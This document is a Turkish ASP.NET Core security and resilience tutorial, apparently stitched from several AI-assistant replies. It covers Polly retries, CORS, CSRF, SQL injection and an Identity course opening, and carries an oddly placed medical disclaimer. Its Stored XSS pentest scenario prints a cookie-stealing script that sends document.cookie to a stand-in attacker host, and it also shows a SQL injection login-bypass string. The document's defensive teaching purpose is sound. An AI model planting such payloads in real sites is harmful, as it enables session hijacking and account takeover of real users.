Canlıya alınan projelerde bulut veritabanı (Cloud MSSQL) anlık ağ dalgalanmaları veya aşırı yüklenme nedeniyle birkaç saniyeliğine isteklere yanıt veremeyebilir. Bu geçici hatalarda (Transient Faults) kullanıcıya hemen hata ekranı göstermek yerine, Polly kütüphanesi ile arka planda veritabanı bağlantısını akıllı aralıklarla yeniden denetebiliriz.

1. Gerekli NuGet Paketinin Kurulması

Veri tabanı katmanımıza veya API projemize şu paketi dahil ediyoruz:

2. DbContext Üzerinde Gelişmiş Yeniden Deneme Politikası Kurgulanması

Veritabanı bağlantımızı kurguladığımız Context sınıfı veya Program.cs içerisindeki SQL Server ayarlarını kurumsal "Dayanıklılık" (Resilience) kurallarına göre güncelliyoruz.

Uygulama: Çökmeye Karşı Korumalı SQL Bağlantı Yapısı

using Microsoft.EntityFrameworkCore;

 

public class Context : DbContext

{

    protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)

    {

        if (!optionsBuilder.IsConfigured)

        {

            optionsBuilder.UseSqlServer(

                "Server=://bulutsunucunuz.com,1433;Database=CloudOtelDb;User Id=db_admin_otel;Password=UzunVeKarmasikSifre123!;",

                sqlServerOptionsAction: sqlOptions =>

                {

                    // POLLY TABANLI AKILLI RETRY MEKANİZMASI

                    sqlOptions.EnableRetryOnFailure(

                        maxRetryCount: 5,                    // En fazla 5 kez yeniden bağlanmayı dene

                        maxRetryDelay: TimeSpan.FromSeconds(30), // Denemeler arasındaki maksimum bekleme süresi 30 saniye

                        errorNumbersToAdd: null              // Standart SQL hata kodlarının tamamını tara

                    );

                });

        }

    }

}

3. Mekanizmanın Çalışma Felsefesi ve İş Mantığı

Bu kurgu sayesinde canlı sistem şu şekilde refleks gösterir:

  1. Ön yüzden gelen bir rezervasyon talebi SQL Server bulut sunucusuna yazılmaya çalışırken anlık bir ağ kopması yaşandı.
  2. Sistem anında çöküp kullanıcıya HTTP 500 hatası fırlatmaz.
  3. Polly motoru devreye girer. İlk denemeyi başarısız saydıktan sonra loglara bir iz bırakır, üssel bekleme (Exponential Backoff) algoritması ile (Örn: Önce 2 sn, sonra 4 sn, sonra 8 sn bekleyerek) bağlantıyı arka planda gizlice tekrar zorlar.
  4. 5 deneme içerisinde bulut SQL sunucusu kendine geldiği anda işlem başarıyla tamamlanır ve kullanıcı kesintiyi hiç hissetmez. Eğer 5 denemede de sunucu açılmazsa, o zaman kritik hata günlüğü oluşturulur.

⚠️ Önemli Sağlık ve Güvenlik Bilgilendirmesi (Medical Disclaimer)

Bu dokümanda yer alan performans izleme filtreleri (Action Filters), milisaniye bazlı kronometre yapıları ve veritabanı hata tolerans sistemleri (Polly Resilience Policies), tamamen kurumsal web uygulamalarının bilgi işlem stabilizesini artırmaya yönelik yazılımsal yaklaşımlardır. Otel otomasyon projesindeki acil durum butonları, sağlık odası konsültasyon kayıtları, tıbbi cihaz internet bağlantıları veya hasta/misafir hayati fonksiyon takip sistemleri gibi doğrudan insan sağlığı ve güvenliğini ilgilendiren alanlarda bu tip yazılımsal yeniden deneme (retry) veya performans ölçüm kodları kritik zaman kayıplarına yol açabileceğinden tek başına bir güvenlik veya yaşam destek standardı olarak kabul edilemez. Hayati veri transferi gerektiren medikal senaryolarda, yazılım katmanlarından bağımsız, gerçek zamanlı (Real-Time OS) çalışan tıbbi sertifikalı donanım altyapıları ve profesyonel acil durum protokolleri uygulanmalıdır.


 

İlettiğiniz eğitim içeriği metnini detaylıca analiz ederek anlamsız satırlardan, sürelerden (dakika/saniye), "Önizleme" ve "ders" ibarelerinden arındırdım. Talebiniz doğrultusunda özet yapmadan, her konuyu derinlemesine, teorik altyapısı, ASP.NET Core mimarisindeki karşılığı, kod örnekleri ve pratik uygulamalarıyla birlikte eksiksiz bir rehber halinde tasarladım.

İçerik çok kapsamlı ve detaylı olduğundan, konularda hiçbir eksiklik kalmaması adına bu yanıtımızda "Giriş, Öğrenecekleriniz ve 1. Bölüm: Güvenlik Önlemleri (Data Protection, IP Kontrolü, Secret Protection ve CORS)" başlıklarını eksiksiz, uygulamalı olarak ele alıyoruz.


ASP.NET CORE GÜVENLİK (SECURITY) MİMARİSİ VE UYGULAMALI KORUNMA REHBERİ

Giriş ve "Öğrenecekleriniz" Bölümünün Açıklaması

Modern web uygulamaları geliştirilirken güvenlik, projenin mimari aşamasından canlıya (production) alınma sürecine kadar her adımda en kritik önceliktir. Bu eğitim içeriği, bir web uygulamasının maruz kalabileceği en yaygın siber saldırı yöntemlerini teorik olarak kavramanızı ve bu tehditlere karşı ASP.NET Core platformunun sunduğu yerleşik (built-in) güvenlik mekanizmalarını projenize nasıl entegre edeceğinizi öğretmeyi amaçlar.

Öğrenecekleriniz Paragrafının Detaylı Açıklaması:


1. BÖLÜM: GÜVENLİK ÖNLEMLERİ VE MİMARİ KORUMA

1.1. Data Protection (Veri Koruma API'si)

Web uygulamalarında bazı verilerin geçici veya kalıcı olarak dış dünyaya (kullanıcı tarayıcısı, query string, cookie veya veritabanı) tamamen okunamaz ve değiştirilemez bir şekilde sunulması gerekir. ASP.NET Core, kriptografik anahtar yönetimini otomatik olarak üstlenen Data Protection API altyapısını sunar. Bu yapı, veriyi gizlemekle kalmaz (Encryption), aynı zamanda verinin yolda tahrif edilip edilmediğini de (Validation) kontrol eder.

Mimari İşleyiş: Protect ve Unprotect

Uygulama Örneği:

Bir e-ticaret uygulamasında ürün ID'lerini (int id) URL üzerinde (/Urun/Detay?id=5) açıkça göstermek istemediğimizi, bunun yerine şifreli bir token taşımak istediğimizi varsayalım.

using Microsoft.AspNetCore.DataProtection;

using Microsoft.AspNetCore.Mvc;

 

public class UrunController : Controller

{

    private readonly IDataProtector _protector;

 

    // Kategoriye veya amaca özel purpose string tanımlıyoruz

    public UrunController(IDataProtectionProvider provider)

    {

        _protector = provider.CreateProtector("Urun.Id.Koruma.V1");

    }

 

    public IActionResult Listele()

    {

        int gercekUrunId = 1453;

       

        // Veriyi dış dünyaya açmadan önce şifreliyoruz

        string sifreliId = _protector.Protect(gercekUrunId.ToString());

       

        ViewBag.GuvenliLink = $"/Urun/Detay?token={sifreliId}";

        return View();

    }

 

    public IActionResult Detay(string token)

    {

        try

        {

            // Şifreli veriyi çözüyoruz

            string cozulenIdMetni = _protector.Unprotect(token);

            int urunId = int.Parse(cozulenIdMetni);

           

            // Veritabanından ürünü getir...

            return View(urunId);

        }

        catch (System.Security.Cryptography.CryptographicException)

        {

            // Eğer token tahrif edilmişse veya anahtar geçersizse buraya düşer

            return BadRequest("Geçersiz veya tahrif edilmiş istek!");

        }

    }

}


1.2. WhiteList / BlackList IP Control (IP Tabanlı Erişim Yönetimi)

Uygulamanızın yönetim paneli (Admin) veya sadece belirli iş ortaklarının (B2B) erişmesi gereken API uç noktaları (endpoints) bulunabilir. Güvenliği artırmak adına, gelen isteklerin IP adreslerini filtrelemek en etkili yöntemlerden biridir.

Mimari İşleyiş: ActionFilter ile İstek Yakalama

ASP.NET Core mimarisinde istek, Controller'daki ilgili metoda (Action) ulaşmadan önce bir Action Filter tarafından kesilir. Filter, gelen HTTP isteğinin HttpContext.Connection.RemoteIpAddress özelliğini okur. Eğer IP adresi politikalara uymuyorsa, istek kesilerek doğrudan HTTP 403 Forbidden (Yasaklandı) yanıtı döndürülür.

Uygulama Örneği:

Sadece 127.0.0.1 (Localhost) ve 192.168.1.50 IP'lerinin erişebileceği bir Beyaz Liste filtresi yazalım.

using Microsoft.AspNetCore.Mvc;

using Microsoft.AspNetCore.Mvc.Filters;

using System.Net;

 

public class IpBeyazListeFilter : ActionFilterAttribute

{

    private readonly string _izinVerilenIpler = "127.0.0.1;::1;192.168.1.50";

 

    public override void OnActionExecuting(ActionExecutingContext context)

    {

        // Gelen isteğin IP adresini alıyoruz

        var uzakIp = context.HttpContext.Connection.RemoteIpAddress;

 

        // IP listesini dizileştiriyoruz

        var ipListesi = _izinVerilenIpler.Split(';');

 

        bool erisimIzniVar = false;

        if (uzakIp != null)

        {

            // IPv4 ve IPv6 haritalamalarını kontrol ediyoruz

            if (uzakIp.IsIPv4MappedToIPv6)

            {

                uzakIp = uzakIp.MapToIPv4();

            }

 

            foreach (var ip in ipListesi)

            {

                if (IPAddress.Parse(ip).Equals(uzakIp))

                {

                    erisimIzniVar = true;

                    break;

                }

            }

        }

 

        // Eğer IP listede yoksa isteği durdur ve 403 Forbidden dön

        if (!erisimIzniVar)

        {

            context.Result = new StatusCodeResult(StatusCodes.Status403Forbidden);

            return;

        }

 

        base.OnActionExecuting(context);

    }

}

Controller Seviyesinde Kullanımı:

[IpBeyazListeFilter] // Tüm controller seviyesinde IP kontrolü aktifleşir

public class AdminController : Controller

{

    public IActionResult Panel() => View();

}


1.3. Secret Protection (Hassas Veri ve Sırların Korunması)

Veritabanı bağlantı cümleleri (Connection Strings), API anahtarları veya şifreler gibi kritik veriler asla kaynak kod içinde (hardcoded) veya kaynak kod kontrol sistemlerine (Git, GitHub vb.) gönderilecek appsettings.json gibi dosyalarda düz metin olarak saklanmamalıdır.

Mimari İşleyiş: Secret Manager Tool ve Çevre Değişkenleri (Environment Variables)

Uygulama Adımları:

  1. Proje dizininde terminali açarak Secret Manager'ı aktif edin:

2.  dotnet user-secrets init

  1. Gizli bir API anahtarı ekleyin:

4.  dotnet user-secrets set "E ticaretSmsApi:GizliSifre" "SuperSecretKey123!"

  1. Kod içerisinden bu değere standart IConfiguration üzerinden güvenle erişin:

6.  public class SmsServis

7.  {

8.      private readonly string _apiKey;

9.      public SmsServis(IConfiguration configuration)

10.    {

11.        // Geliştirme ortamında secrets.json'dan, canlıda Environment'tan okur

12.        _apiKey = configuration["EticaretSmsApi:GizliSifre"];

13.    }

14.}


1.4. CORS (Cross-Origin Resource Sharing - Kökenler Arası Kaynak Paylaşımı)

Tarayıcılar, kullanıcı güvenliğini korumak adına varsayılan olarak SOP (Same-Origin Policy) yani Aynı Köken Politikasını uygular. Bir web sitesi (örneğin https://eticaret.com), javascript kullanarak farklı bir kökende yer alan API'ye (örneğin https://banka.com) doğrudan istek gönderemez. Tarayıcı bu isteği engeller. Bu engeli güvenli bir şekilde aşmak ve sadece bizim belirlediğimiz güvenilir dış domainlerin API'mize erişmesine izin vermek için CORS politikaları yapılandırılır.

Mimari İşleyiş ve Politika Yapılandırma

API tarafında HTTP yanıt başlıklarına (Response Headers) Access-Control-Allow-Origin gibi ifadeler eklenerek tarayıcıya hangi domainlerin, hangi HTTP metotlarının (GET, POST vb.) ve hangi header bilgilerinin yasal olduğu bildirilir.

Uygulama Örneği:

Sadece https://GuvenliFirma.com adresinden gelen isteklere izin veren, ancak diğer tüm istekleri engelleyen bir CORS politikasını merkezi olarak tasarlayalım ve Controller seviyesinde uygulayalım.

Program.cs İçerisindeki Kurulum:

var builder = WebApplication.CreateBuilder(args);

 

// 1. CORS Politikalarının Servis Olarak Eklenmesi

builder.Services.AddCors(options =>

{

    options.AddPolicy("OzelOrtaklikPolitikasi", policy =>

    {

        policy.WithOrigins("https://guvenlifirma.com") // Sadece bu domaine izin ver

              .WithMethods("GET", "POST")             // Sadece GET ve POST'a izin ver

              .WithHeaders("Content-Type", "Authorization"); // İzin verilen headerlar

    });

});

 

builder.Services.AddControllers();

var app = builder.Build();

 

app.UseRouting();

 

// 2. CORS Ara Yazılımının (Middleware) Aktif Edilmesi (Sıralama Önemlidir!)

app.UseCors();

 

app.UseAuthorization();

app.MapControllers();

app.Run();

Controller ve Metot Seviyesinde Etkinleştirme:
Bütün API'yi dışa açmak yerine, sadece belirli Controller veya Action metotlarını bu CORS kuralına tabi tutabiliriz.

using Microsoft.AspNetCore.Cors;

using Microsoft.AspNetCore.Mvc;

 

[ApiController]

[Route("api/[controller]")]

// Belirlenen politikayı Controller seviyesinde aktifleştiriyoruz

[EnableCors("OzelOrtaklikPolitikasi")]

public class VeriPaylasimController : ControllerBase

{

    [HttpGet("stoklar")]

    public IActionResult GetStoklar()

    {

        return Ok(new { Mesaj = "Bu veri sadece guvenlifirma.com tarafından okunabilir." });

    }

   

    [HttpDelete("stok-sil")]

    [DisableCors] // Bu metoda dışarıdan CORS ile erişimi tamamen kapatıyoruz

    public IActionResult StokSil()

    {

        return Ok();

    }

}


 

 

Talebiniz doğrultusunda, eğitim içeriğinin ikinci büyük başlığı olan "Genel Güvenlik Açıkları, Built-in Gelen Güvenlik Önlemleri ve Korunma Yolları" bölümünü; sürelerden, "Önizleme" ve "ders" ibarelerinden tamamen arındırarak, bol kod örneği, teorik altyapı ve pratik uygulamalarla ele alıyorum.


2. BÖLÜM: GENEL GÜVENLİK AÇIKLARI VE KORUNMA YOLLARI

2.1. Cross-Site Scripting Attacks (XSS)

XSS (Siteler Arası Betik Çalıştırma), kötü niyetli kişilerin güvenilmeyen istemci girdilerini (input) doğrudan web sayfasına enjekte etmesiyle oluşan bir zafiyettir. Saldırgan, kurbanın tarayıcısında çalışmak üzere JavaScript kodları yürütür. Bu yolla kullanıcıların oturum çerezleri (Session Cookies) çalınabilir, tarayıcı oturumları ele geçirilebilir veya kullanıcılar sahte sayfalara yönlendirilebilir.

Reflected XSS (Yansıyan XSS)

Kullanıcıdan alınan zararlı girdinin veritabanına kaydedilmeden, hemen o anda dönen HTTP yanıtının (Response) içerisine yansıtılması durumudur. Genellikle arama kutuları, hata mesajları veya URL'deki Query String parametreleri üzerinden gerçekleştirilir.

Stored XSS (Kalıcı XSS)

Saldırganın enjekte ettiği zararlı JavaScript kodunun web uygulamasının veritabanına, yorum satırlarına, forum gönderilerine veya profil açıklamalarına kalıcı olarak kaydedilmesi durumudur. Bu sayfayı ziyaret eden tüm masum kullanıcılar farkında olmadan bu betiği tarayıcılarında çalıştırırlar.


2.2. HtmlEncoder / JavaScriptEncoder / UrlEncoder Nedir?

ASP.NET Core, XSS saldırılarını önlemek için güçlü bir Encoding (Kodlama) altyapısına sahiptir. Varsayılan olarak Razor View motoru (.cshtml), @ sembolü ile yazılan tüm string ifadeleri otomatik olarak HTML kodlamasından geçirir (HTML Encode).

Ancak bazı durumlarda dinamik olarak JavaScript bloklarının içerisine veri basmanız veya URL oluşturmanız gerekebilir. Bu durumlarda yerleşik encoder sınıfları kullanılır.

Uygulama Örneği:

using System.Text.Encodings.Web;

using Microsoft.AspNetCore.Mvc;

 

public class YonetimController : Controller

{

    private readonly HtmlEncoder _htmlEncoder;

    private readonly JavaScriptEncoder _javaScriptEncoder;

    private readonly UrlEncoder _urlEncoder;

 

    // Built-in encoder'ları Dependency Injection ile talep ediyoruz

    public YonetimController(HtmlEncoder htmlEncoder, JavaScriptEncoder javaScriptEncoder, UrlEncoder urlEncoder)

    {

        _htmlEncoder = htmlEncoder;

        _javaScriptEncoder = javaScriptEncoder;

        _urlEncoder = urlEncoder;

    }

 

    public IActionResult Filtrele(string kullaniciGirdisi)

    {

        // Örnek girdi: <script>alert(1)</script>

       

        // 1. HTML Güvenliği İçin Kodlama

        string guvenliHtml = _htmlEncoder.Encode(kullaniciGirdisi);

        // Çıktı: &lt;script&gt;alert(1)&lt;/script&gt;

 

        // 2. JavaScript Blokları İçin Kodlama

        string guvenliJs = _javaScriptEncoder.Encode(kullaniciGirdisi);

        // Çıktı: \u003Cscript\u003Ealert(1)\u003C/script\u003E

 

        // 3. URL Parametreleri İçin Kodlama

        string guvenliUrl = _urlEncoder.Encode(kullaniciGirdisi);

        // Çıktı: %3Cscript%3Ealert%281%29%3C%2Fscript%3E

 

        return Content($"HTML: {guvenliHtml} | JS: {guvenliJs} | URL: {guvenliUrl}");

    }

}


2.3. Cross-Site Request Forgery (CSRF / XSRF)

CSRF (Siteler Arası İstek Sahtekarlığı), kullanıcının halihazırda kimlik doğrulaması yaptığı (oturum açtığı) güvenilir bir web sitesine, kullanıcının bilgisi ve iradesi dışında istek gönderilmesi saldırısıdır. Tarayıcılar, bir siteye istek atarken o siteye ait kayıtlı çerezleri (Cookies) otomatik olarak isteğe ekler. Saldırganlar bu tarayıcı davranışını istismar eder.

ASP.NET Core Built-in Korunma Mekanizması

ASP.NET Core, form işlemlerinde ve API isteklerinde Antiforgery (Token-tabanlı doğrulama) mekanizmasını yerleşik olarak sunar. Sunucu, formu oluştururken istemciye gizli bir __RequestVerificationToken üretir. Form gönderildiğinde sunucu bu token'ın geçerliliğini doğrular.

Uygulama Örneği:

Razor View içerisinde oluşturulan standart formlar otomatik olarak bu token'ı içerir.

<!-- Urun.cshtml -->

@model ParaTransferViewModel

 

<form asp-action="Gonder" asp-controller="Hesap" method="post">

    <input asp-for="AliciHesapNo" />

    <input asp-for="Miktar" />

    <button type="submit">Gönder</button>

</form>

<!-- Arka planda HTML çıktısına otomatik olarak şu eklenir:

<input name="__RequestVerificationToken" type="hidden" value="CfDJ8..." />

-->

Controller Tarafında Doğrulama:
Gelen isteklerin token kontrolünden geçmesini zorunlu kılmak için
[ValidateAntiForgeryToken] veya global olarak [AutoValidateAntiforgeryToken] attribute yapıları kullanılır.

using Microsoft.AspNetCore.Mvc;

 

public class HesapController : Controller

{

    [HttpPost]

    [ValidateAntiForgeryToken] // Bu attribute sayesinde dış sitelerden gelen sahte istekler engellenir

    public IActionResult Gonder(ParaTransferViewModel model)

    {

        if (ModelState.IsValid)

        {

            // İşlemi güvenle gerçekleştir

            return RedirectToAction("Basarili");

        }

        return View(model);

    }

}


2.4. Open Redirect Attacks (Açık Yönlendirme Açığı)

Uygulamalarda kullanıcı giriş yaptıktan veya bir işlem tamamlandıktan sonra sıklıkla bir önceki sayfaya yönlendirme yapılır. Bu yönlendirme hedefi genellikle bir returnUrl parametresi ile URL üzerinden taşınır. Eğer bu parametre doğrulanmazsa, saldırgan kullanıcıyı tamamen kendi kontrolündeki sahte/zararlı bir siteye (oltalama - phishing) yönlendirebilir.

Korunma Yolu: IsLocalUrl Kontrolü

ASP.NET Core içerisinde yer alan Url.IsLocalUrl() metodu, verilen yönlendirme adresinin gerçekten bizim uygulamamıza (domainimize) ait olup olmadığını kontrol eder. Eğer yerel bir URL değilse yönlendirmeyi iptal edip ana sayfaya yönlendirmek güvenliği sağlar.

Uygulama Örneği:

using Microsoft.AspNetCore.Mvc;

 

public class AccountController : Controller

{

    [HttpPost]

    public IActionResult Login(LoginViewModel model, string returnUrl)

    {

        // Kimlik doğrulama adımları... (Başarılı varsayalım)

 

        // Güvenlik Kontrolü: returnUrl boş değilse ve bizim sitemize aitse oraya git

        if (!string.IsNullOrEmpty(returnUrl) && Url.IsLocalUrl(returnUrl))

        {

            return Redirect(returnUrl);

        }

       

        // Eğer dış bağlantı tespit edilirse veya boşsa güvenli bir şekilde ana sayfaya yönlendir

        return RedirectToAction("Index", "Home");

    }

}


2.5. HTTPS ve HSTS (HTTP Strict Transport Security)

İstemci ile sunucu arasındaki tüm veri trafiğinin açık metin (Plain Text) olarak taşınması, aradaki saldırganların veriyi dinlemesine (Man-in-the-Middle - MitM) olanak tanır.

Uygulama Örneği (Program.cs Konfigürasyonu):

ASP.NET Core uygulamalarında projenin production (canlı) ortamında zorunlu HTTPS ve HSTS politikalarını devreye almak için ara yazılımlar (middleware) kullanılır.

var builder = WebApplication.CreateBuilder(args);

builder.Services.AddControllersWithViews();

 

var app = builder.Build();

 

if (!app.Environment.IsDevelopment())

{

    // Canlı ortamda tarayıcılara HSTS header'ını göndermesini söyler

    app.UseHsts();

}

 

// Gelen tüm HTTP isteklerini otomatik olarak HTTPS protokolüne yönlendirir

app.UseHttpsRedirection();

 

app.UseStaticFiles();

app.UseRouting();

app.UseAuthorization();

 

app.MapControllerRoute(

    name: "default",

    pattern: "{controller=Home}/{action=Index}/{id?}");

 

app.Run();


2.6. SQL Injection Attacks

SQL Injection (SQLi), bir web uygulamasının veritabanına gönderdiği sorgulara, kullanıcı girdileri vasıtasıyla dışarıdan müdahale edilmesidir. Saldırgan, girdi alanlarına SQL komut parçacıkları enjekte ederek veritabanındaki tüm verileri okuyabilir, silebilir veya değiştirebilir.

Güvensiz Kod Mimari Örneği (Ham SQL Sorgusu):

Aşağıdaki kod bloğunda girdi doğrudan SQL cümlesiyle birleştirilmiştir (String Concatenation):

// KESİNLİKLE KULLANILMAMALIDIR! (Zafiyet barındırır)

string sorgu = "SELECT * FROM Kullanicilar WHERE Email = '" + gelenEmail + "' AND Sifre = '" + gelenSifre + "'";

Saldırgan gelenEmail alanına ' OR '1'='1 yazdığında sorgu mantıksal olarak her zaman doğru (true) dönecek ve şifreyi bilmeden sisteme giriş yapacaktır.

Korunma Yolları: Parametrik Sorgular ve Entity Framework Core

Entity Framework Core (EF Core) LINQ sorguları, arka planda otomatik olarak Parametrik SQL ürettiği için SQL Injection saldırılarına karşı varsayılan olarak tam koruma sağlar. Eğer illa ki ham (raw) SQL sorgusu yazılması gerekiyorsa, girdiler kesinlikle parametre olarak geçilmelidir.

Uygulama Örneği:

using Microsoft.AspNetCore.Mvc;

using Microsoft.EntityFrameworkCore;

 

public class Urun AramaController : Controller

{

    private readonly UygulamaDbContext _context;

 

    public UrunAramaController(UygulamaDbContext context)

    {

        _context = context;

    }

 

    // 1. GÜVENLİ YÖNTEM: Entity Framework LINQ Kullanımı (Built-in Koruma)

    public async Task<IActionResult> Ara(string urunAdi)

    {

        // EF Core bu sorguyu otomatik olarak parametrik hale getirir

        var urunler = await _context.Urunler

            .Where(x => x.Ad == urunAdi)

            .ToListAsync();

           

        return View(urunler);

    }

 

    // 2. GÜVENLİ YÖNTEM: Ham SQL Kullanırken Parametre Tanımlama

    public async Task<IActionResult> DetayliHamAra(string kategoriAd)

    {

        // String Interpolation formatında {0} kullanımı, EF Core tarafından arka planda SqlParameter'a dönüştürülür

        var kategoriler = await _context.Kategoriler

            .FromSqlRaw("SELECT * FROM Kategoriler WHERE KategoriAdi = {0}", kategoriAd)

            .ToListAsync();

 

        return View(kategoriler);

    }

}


 

 

Siber güvenlikte savunma mekanizmalarını doğru kurgulamanın en etkili yolu, sisteme bir saldırgan gözüyle bakabilmektir. Bu doğrultuda, eğitim içeriğimizde de yer alan ve en yaygın zafiyetlerden biri olan Stored XSS (Kalıcı Siteler Arası Betik Çalıştırma) zafiyetine karşı bir sızma testi (Pentest) senaryosu hazırlayalım.

Bu senaryoda, bir e-ticaret veya blog uygulamasındaki "Kullanıcı Yorumları" alanını hedef alacağız. Amacımız, sisteme giriş yapmış bir kurbanın oturum çerezlerini (Session Cookies / Auth Cookies) ele geçirmek olacak.


STORED XSS SIZMA TESTİ (PENTEST) SENARYOSU

🌟 Senaryo Bileşenleri ve Roller


🛑 ADIM 1: Keşif ve Sızma Noktasının Tespiti (Reconnaissance)

Pentester, hedef web uygulamasında dışarıdan girdi kabul eden ve bu girdiyi daha sonra tekrar ekrana basan alanları arar.


🎯 ADIM 2: Zafiyet Testi (Fuzzing / Payload Injection)

Pentester, girdi alanının HTML kodlarını filtreleyip filtrelemediğini anlamak için basit bir JavaScript kodu (Payload) enjekte eder.

Yorum kutusuna yazılan ilk test kodu:

<script>alert('XSS_Testi_Basarili')</script>

Sistem Davranışı Analizi:
Yorum gönderildikten sonra sayfa yenilenir.


⚡ ADIM 3: İstismar Aşaması (Exploitation & Cookie Stealing)

Zafiyetin varlığı kesinleştikten sonra pentester, basit bir uyarı kutusu yerine kurbanların oturumlarını ele geçirecek gelişmiş bir istismar kodu hazırlar.

Geliştirilen Zararlı JavaScript Kodu (Payload):

<script>

    // Kurbanın tarayıcısındaki çerezleri oku ve URL formatına uygun hale getir

    var calinanCerez = encodeURIComponent(document.cookie);

   

    // Saldırganın sunucusuna arka planda gizlice bir istek gönder

    // Görünmez bir resim nesnesi oluşturarak tarayıcının bu isteği yapmasını tetikliyoruz

    var sızmaResmi = new Image();

    sızmaResmi.src = 'https://hacker-dinleme-sunucusu.com' + calinanCerez;

</script>

Saldırının Gerçekleşmesi:

  1. Pentester bu kodu yorum kutusuna yapıştırır ve "Yorumu Gönder" butonuna basar.
  2. Kod, veritabanındaki Yorumlar tablosuna kalıcı olarak kaydedilir.
  3. Birkaç saat sonra, uygulamanın Admin (Yönetici) kullanıcısı gelen yorumları onaylamak veya incelemek için ilgili ürünün sayfasına giriş yapar.
  4. Sayfa yüklendiği anda, tarayıcı veritabanından gelen bu zararlı <script> bloğunu okur ve Admin'in haklarıyla arka planda çalıştırır.
  5. Admin'in tarayıcısı, gizlice https://hacker-dinleme-sunucusu.com... adresine istek atar.

📈 ADIM 4: Bilgi Toplama ve Hak Yükseltme (Post-Exploitation)

Saldırganın dinleme sunucusundaki log dosyasına (Örn: log.php) şu şekilde bir kayıt düşer:

[2026-08-29 19:45:00] Gelen İstek IP: 95.xx.xx.xx

Alınan Veri (Cookie): .AspNetCore.Identity.Application=CfDJ8M3t...[Çok Uzun Bir Token]...

Saldırgan, kendi tarayıcısının geliştirici araçlarını (F12 -> Application -> Cookies) açar. Hedef sitenin çerez alanına bu çaldığı token değerini yapıştırır ve sayfayı yeniler. Artık sunucu, saldırganı Admin olarak tanıyacaktır. Saldırgan şifre bilmeden sisteme tam yetkili olarak sızmıştır.


🛡️ ADIM 5: Raporlama ve Kapatma (Remediation)

Sızma testi uzmanı, bu durumu bir rapor haline getirerek yazılım ekibine sunar. ASP.NET Core tarafında bu zafiyeti tamamen kapatmak için şu iki kritik önlem uygulanmalıdır:

1. HttpOnly Çerez Koruması (En Kritik Önlem)

XSS zafiyeti olsa bile, JavaScript kodlarının tarayıcıdaki hassas oturum çerezlerine erişmesi engellenebilir. Bunun için çerezler tanımlanırken HttpOnly bayrağı aktif edilmelidir.

Program.cs veya Cookie Konfigürasyonu:

builder.Services.ConfigureApplicationCookie(options =>

{

    // JavaScript'in (document.cookie) bu çereze erişmesini kesinlikle engeller!

    options.Cookie.HttpOnly = true;

    options.Cookie.SecurePolicy = CookieSecurePolicy.Always; // Sadece HTTPS

    options.Cookie.SameSite = SameSiteMode.Strict;

});

Bu önlem alındığında, yukarıdaki Pentest senaryosundaki document.cookie komutu boş string dönecek ve saldırı başarısız olacaktır.

2. Güvenli Çıktı Yönetimi (Razor Yapısı)

Eğer veritabanından gelen veriyi ekrana basarken ham (raw) HTML olarak basmanız gerekiyorsa (Html.Raw kullanımı gibi), girdiyi önce sisteme kabul ederken arındırmalısınız (Sanitization).

<!-- GÜVENSİZ KULLANIM: Girdiyi olduğu gibi çalıştırır -->

@Html.Raw(Model.YorumMetni)

 

<!-- GÜVENLİ KULLANIM: Razor otomatik olarak HTML Encode uygular -->

<p>@Model.YorumMetni</p>

<!-- Çıktı: &lt;script&gt; şeklinde olacağı için tarayıcı kodu çalıştırmaz, ekranda yazı olarak gösterir. -->


 

 

Metniniz oldukça kapsamlı ve detaylı bir ASP.NET Core Identity kurs müfredatını içeriyor. İstediğiniz doğrultuda; anlamsız satırları (tek başına kalmış süre ifadelerini), "Önizleme" ve "ders" ibarelerini tamamen temizleyerek, içeriği mantıksal modüller halinde derinlemesine planladım.

Öncelikle talep ettiğiniz üzere "Öğrenecekleriniz" paragrafını açıklayarak başlayalım, ardından tüm konuları pratik kod örnekleri ve mimari uygulamalarla satır satır inşa edelim.


"Öğrenecekleriniz" Paragrafının Açıklaması

Bu kursta, modern web uygulamalarının en kritik bölümlerinden biri olan güvenli kullanıcı yönetim sistemini sıfırdan kurmayı öğreneceksiniz. Kurs, sadece hazır kütüphaneleri projenize eklemeyi değil; veritabanı tablolarının arka planda nasıl oluştuğunu, cookie (çerez) mekanizmalarının nasıl çalıştığını, şifrelerin nasıl güvenli şekilde hash'lendiğini ve kullanıcı yetkilendirmelerinin (rol ve claim tabanlı) modern mimarilere (N-Layer/Katmanlı Mimari) nasıl entegre edildiğini uygulamalı olarak gösterir.

Kurs sonunda bir kullanıcının kayıt olmasından, şifresini unuttuğunda güvenli token ile sıfırlamasına; profil resmi yüklemesinden, üçüncü parti (Google/Facebook) hesaplarıyla tek tıkla giriş yapmasına kadar uçtan uca profesyonel bir üyelik altyapısı geliştirebilecek seviyeye geleceksiniz.


🛠️ MODÜL 1: Giriş ve Temel Kavramlar

1. Identity Üzerine Temel Sorular & Kurulum Gereksinimleri

ASP.NET Core Identity; kullanıcı girişi, kayıt olma, şifre yönetimi, rol tanımlama ve yetkilendirme gibi süreçleri yöneten, Microsoft tarafından geliştirilmiş hazır bir üyelik kütüphanesidir.

Gereksinimler:

2. Cookie-Based Authentication (Çerez Tabanlı Kimlik Doğrulama) Nedir?

Web uygulamalarında HTTP protokolü stateless (durumsuz) yapıdadır. Yani sunucu, kullanıcının bir sonraki isteğinde onun kim olduğunu hatırlamaz. Bu problemi çözmek için Cookie-Based Authentication kullanılır.


📑 MODÜL 2: IdentityDbContext Yapısının Kurulması (.NET 7)

Identity mekanizmasının veritabanındaki tabloları oluşturabilmesi için Entity Framework Core kullanacağız. Normalde DbContext sınıfından miras alırken, Identity projelerinde IdentityDbContext sınıfından miras alırız.

💻 Uygulama: Custom Context ve Tabloların Özelleştirilmesi

İlk olarak projemize gerekli NuGet paketlerini ekliyoruz:

Install-Package Microsoft.AspNetCore.Identity.EntityFrameworkCore

Install-Package Microsoft.EntityFrameworkCore.SqlServer

Install-Package Microsoft.EntityFrameworkCore.Tools

Ardından kullanıcı ve rol sınıflarımızı özelleştirebilmek adına AppUser ve AppRole sınıflarımızı oluşturuyoruz:

using Microsoft.AspNetCore.Identity;

 

public class AppUser : IdentityUser

{

    // Varsayılan tablonun dışına çıkıp yeni alanlar ekliyoruz

    public string? City { get; set; }

    public string? Picture { get; set; }

    public DateTime? BirthDate { get; set; }

    public string? Gender { get; set; }

}

 

public class AppRole : IdentityRole

{

    // Rol tablosuna özel ekstra alan eklemek isterseniz buraya yazabilirsiniz

}

Şimdi IdentityDbContext yapımızı bu sınıflarla kuruyoruz:

using Microsoft.AspNetCore.Identity.EntityFrameworkCore;

using Microsoft.EntityFrameworkCore;

